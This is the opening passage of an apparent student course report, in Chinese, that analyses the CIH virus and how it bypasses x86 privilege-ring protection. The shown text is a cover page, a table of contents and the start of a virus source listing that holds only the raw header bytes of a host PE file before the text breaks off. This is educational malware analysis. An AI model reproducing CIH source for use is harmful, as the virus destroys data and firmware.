[键入文字]PAGE\*MERGEFORMAT-33-[键入文字]操作系统课程设计姓名：高程学号：20072528班级：计算机科学与技术07-3班学院：计算机与信息学院所选题目：Intel80X68系列CPU的保护机制：分析CIH目录病毒代码-----------------------3页程序流程图--------------------26页病毒运行机制--------------------27页特权级-------------------------33页VxD---------------------------34页CIH病毒绕过CPU环保护机制的方法-------------------------44页病毒代码代码部分：OriginalAppEXESEGMENT;PE格式可执行文件文件头FileHeader:db04dh,05ah,090h,000h,003h,000h,000h,000hdb004h,000h,000h,000h,0ffh,0ffh,000h,000hdb0b8h,000h,000h,000h,000h,000h,000h,000hdb040h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,080h,000h,000h,000hdb00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdhdb021h,0b8h,001h,04ch,0cdh,021h,054h,068hdb069h,073h,020h,070h,072h,06fh,067h,072hdb061h,06dh,020h,063h,061h,06eh,06eh,06fhdb074h,020h,062h,065h,020h,072h,075h,06ehdb020h,069h,06eh,020h,044h,04fh,053h,020hdb06dh,06fh,064h,065h,02eh,00dh,00dh,00ahdb024h,000h,000h,000h,000h,000h,000h,000hdb050h,045h,000h,000h,04ch,001h,001h,000hdb0f1h,068h,020h,035h,000h,000h,000h,000hdb000h,000h,000h,000h,0e0h,000h,00fh,001hdb00bh,001h,005h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb010h,010h,000h,000h,000h,010h,000h,000hdb000h,020h,000h,000h,000h,000h,040h,000hdb000h,010h,000h,000h,000h,002h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb000h,020h,000h,000h,000h,002h,000h,000hdb000h,000h,000h,000h,002h,000h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,010h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,0